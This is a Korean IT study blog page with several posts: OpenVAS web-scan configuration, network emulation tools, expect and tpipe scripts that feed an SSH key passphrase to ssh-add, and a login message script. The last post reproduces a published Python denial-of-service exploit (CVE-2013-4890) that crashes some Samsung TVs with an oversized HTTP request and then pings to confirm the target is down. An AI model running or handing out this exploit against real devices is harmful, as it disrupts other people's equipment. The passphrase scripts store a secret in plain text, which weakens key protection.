레이블이 IT Study인 게시물을 표시합니다. 모든 게시물 표시
레이블이 IT Study인 게시물을 표시합니다. 모든 게시물 표시

2017년 7월 11일 화요일

openvas web scan 파일 업데이트

openvas를 설치하면 기본적인 스캔은 제공이 되는데
웹에 대한 스캔은 유저가 개별적으로 작성을 해야 한다

구글 검색 중에 web scan.xml 파일을 찾았기에 공유하고자 한다

openvas web scan
http://www.greenbone.nl/download/web-app-scan.xml

해당 파일을 다운 받아서 openvas scan config 에 등록 import 하면 된다

다음은 설정이 정상 등록 됐을 때 클릭한 화면


20171129
VMware kali 2017.3 설치 후 테스트 하려고
해당 파일을 찾으려니 없다.

2017년 6월 4일 일요일

네트워크 구성 및 테스트 툴

네트워크 구성 및 테스트 툴

http://imunes.net/
VMware 이미지 등을 다운 받을 수 있다

구글에서
emulate network topology
로 검색하면 더 많은 결과를 확인할 수 있다

2013년 8월 21일 수요일

리눅스 자동 완성하는 쉘 스크립트 expect와 tpipe

리눅스 쉘 스크립트를 작성할 때
보통 자동처리 방식을 원하기 때문에 작성을 많이한다
이때, 필수적으로 암호를 입력해야 할 때가 있다
이번 블로그는 이런 암호도 자동으로 완성해서 운영되는 쉘 스크립트 작성할 때의 팁이다

자동 완성할 때의 환경이 여러가지 있는데
이제까지 찾은 두가지 방법을 기술해 보고자 한다

리눅스 터미널에서 ssh-add 등을 입력해서 비밀키를 입력해야하는 환경이라 가정을 해 보자

$ /usr/bin/ssh-add /home/bloodstorm/.ssh/id_rsa [Enter]
Enter passphrase for /home/bloodstom/.ssh/id_rsa: _

자동으로 진행되서 처리해야하는 부분에서 위와 같은 입력, 혹은 암호 입력을 요구할 때 쉘 스크립트가 막힐 수 있다

1. expect  쉘 스크립트 작성
일반 쉘 스크립트를 작성할 때
쉘 스크립트 상단 처음 부분에 다음과 같이 입력한다

#!/bin/bash

하지만 expect 를 사용할 때는 다르게 입력 후 사용해야 한다

#!/usr/bin/expect

이후 작성 방법은 쉘 스크립트와 동일하지만
선언하는 파일이 bash 가 아닌 expect 이기 때문에 같지만 다른 쉘 스크립트가 된다는 것을 잊으면 안된다

[예시] - 위 ssh-add 시 암호 입력을 요구할 때의 예시
#!/usr/bin/expect
spawn bash -c "/usr/bin/ssh-add /home/bloodstorm/.ssh/id_rsa";
expect -re "id_rsa"
send "[암호 및 입력해야할 내용]\r"
interact

spawn bash 를 불러와서 bash 를 이용해서 쉘을 실행한다
expect -re 를 이용, 암호 및 입력해야할 내용이 발생하는 지점을 찾는다
send 부분에서는 이 암호 및 입력해야할 내용을 입력 후, \r 입력 완료 메시지를 넣고
interact 암호 입력 쉘을 끝낸다

전체 쉘 스크립트를 작성 후
암호 및 입력을 해서 지나가야하는 부분만 부분 쉘로 작성하면
자동 완성하는 전체적인 쉘 스크립트를 만들 수 있다

2. tpipe 를 이용한 bash 쉘 스크립트 작성
bash 쉘 스크립트를 작성할 때
위와 같은 암호나 입력이 필요로 할 때 사용한다
사용 방법은 expect 보다 훨씬 더 간편하다

bash 쉘 스크립트 작성 중 중간에 강제 입력을 해야하는 부분이 있으면

tpipe()
{
echo '[강제 입력 내용]'
}
tpipe | /usr/bin/ssh-add /home/bloodstorm/.ssh/id_rsa

expect 처럼 쉘을 또 만들어서 사용하는 것이 아니라
bash 쉘 스크립트 내에서 끝낼 수 있다

하지만 tpipe 는 적용이 될 때도 있고 안될 때도 있으니
반드시 우선 테스트를 해 본 후 전체 적용하는 것이 좋을 것이다

리눅스 로그인 메시지 만들기

리눅스 서버를 사용하면
그 서버를 사용하는 사용자들에게 공통으로 정보를 제공해 주어야할 때가 있다

리눅스에서는 로그인할 때 다음 3개의 파일에서 접속자들에게 메시지를 보여줄 수 있다

/etc/issue.net  - 외부에서 접근한 로그인 시 출력
/etc/issue        - 내부에서 접근한 로그인 시 출력
/etc/motd        - 로그인 후 보여주는 화면

이번 블록는 /etc/motd 파일을 수정해서 로그인 사용자들에게 메시지를 출력하는 것이다

보통 리눅스 접속은 ssh, 콘솔, CUI 환경으로 접속할 경우가 많기 때문에
해당 파일을 순서대로 수정한다

/etc/ssh/sshd_config
PrintMotd
부분이 있을 것이다.
yes 로 변경 후 # 주석처리를 제거한다

로그인 후 강제실행할 쉘을 만들어서 해당 파일을 지정해야 한다
/etc/profile
해당 파일을 열어서 강제 실행이 되는 쉘, 로그인 시 메시지를 출력할 쉘의 위치를 지정한다
리눅스 공통 관리 위치를 지정했다
/usr/local/bin/dynmotd
/etc/profile 파일 내 내가 메시지를 출력할 쉘 파일 위치를 적고서 저장하고 나온다

이제는 로그인 후 보여주는, 메시지 출력하는 파일을 열어서 작업을 수행한다
여기는 쉘 스크립트로 작업을 해야한다


#!/bin/bash
echo ' '
echo -e '\033[41m서버에 접속한 것을 환영합니다\033[0m'

hostname=`hostname`
echo -e '\033[36mHostName    = \033[0m' '\033[32m'$hostname'\033[0m'

osinfo=`lsb_release -d | awk -F':' '{print $2}' | sed -e 's/\t//g'`
echo -e '\033[36mOS info     = \033[0m' '\033[32m'$osinfo'\033[0m'

kernelinfo=`uname -r`
echo -e '\033[36mLinuxKernel = \033[0m' '\033[32m'$kernelinfo'\033[0m'

kernelmac=`uname -m`
echo -e '\033[36mHW Machine  = \033[0m' '\033[32m'$kernelmac'\033[0m'

CPU=`cat /proc/cpuinfo | grep "model name" | head -n 1 | awk -F ':' '{print $2}'`
echo -e '\033[36mCPU info    =\033[0m' '\033[32m'$CPU'\033[0m'

echo -e '\033[33m----------------------------------------------------------------------\033[0m'

Username=`whoami`
echo -e '\033[36mUserName    = \033[0m' '\033[32m'$Username'\033[0m'

echo -e '\033[36mUserHomeDir = \033[0m' '\033[32m'$HOME'\033[0m'

whoami=`whoami`
Lastlogin=`lastlog | grep $whoami | tail -n 1`
echo -e '\033[36mLastLogin   = \033[0m' '\033[32m'$Lastlogin'\033[0m'

echo -e '\033[33m----------------------------------------------------------------------\033[0m'

bashver=`bash --version | head -n 1`
echo -e '\033[36mBash Ver.   = \033[0m' '\033[32m'$bashver'\033[0m'

gccver=`gcc --version | head -n 1`
echo -e '\033[36mGCC Ver.    = \033[0m' '\033[32m'$gccver'\033[0m'

echo -n -e '\033[36mJavac Ver.  =  \033[0m\033[32m'
javaver=`javac -version`

svnver=`svn --version | head -n 1`
echo -e '\033[36mSVN Ver.    = \033[0m' '\033[32m'$svnver'\033[0m'

gitver=`git --version | head -n 1`
echo -e '\033[36mGIT Ver.    = \033[0m' '\033[32m'$gitver'\033[0m'

echo ' '



java 버전을 출력하는 것은 무슨 문제인지 다른 것들처럼 동일하게 처리가 되지 않아서 시간이 걸렸다

2013년 7월 25일 목요일

samsung PS50C7700 plasma TV - DoS 공격 방법 및 시연 동영상

언제 삭제가 될지 모르고 언제 없어질지 모르는 방법이기에 블로그에 작성한다

뉴스 글 업로드
http://thehackernews.com/2013/07/network-enabled-samsung-tvs-vulnerable.html

http://www.exploit-db.com 에 올라온 DoS 공격코드

코드 공개 URL
http://www.exploit-db.com/exploits/27043/


#!/usr/bin/python
# Exploit Title: Samsung TV Denial of Service (DoS) Attack
# Date: 07/21/2013
# Exploit Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com
# CVE Number: CVE-2013-4890
# Vendor Homepage: http://www.samsung.com
# Description: Resets some Samsung TVs
#   The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long HTTP GET request
#   Tested successfully on my Samsung PS50C7700 plasma TV :)
  
import httplib
import sys
import os
print "  ***************************************************************************************"
print "   Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com\n"
print "   Exploit: Denial of Service (DoS) attack\n"
print "   Description: Resets some Samsung TVs\n"
print "     The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long request."
print "     Tested successfully on my Samsung PS50C7700 plasma TV :)\n"
print "  ***************************************************************************************\n"
# Sends the payload
print "  Sending the malicious payload...\n"
conn = httplib.HTTPConnection(sys.argv[1],5600)
conn.request("GET", "A"*300)
conn.close()
# Checks the response
print "  Checking the status... (CTRL+Z to stop)\n"
response = 0
while response == 0:
  response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
  if response != 0:
    print "  Target down!\n"



다음은 시연 동영상


python 코드로 간결하게 작성되었으며
vulnerability 취약점에 대한 공격이기 때문에
앞으로 더 발전된 코드가 나올 것 같다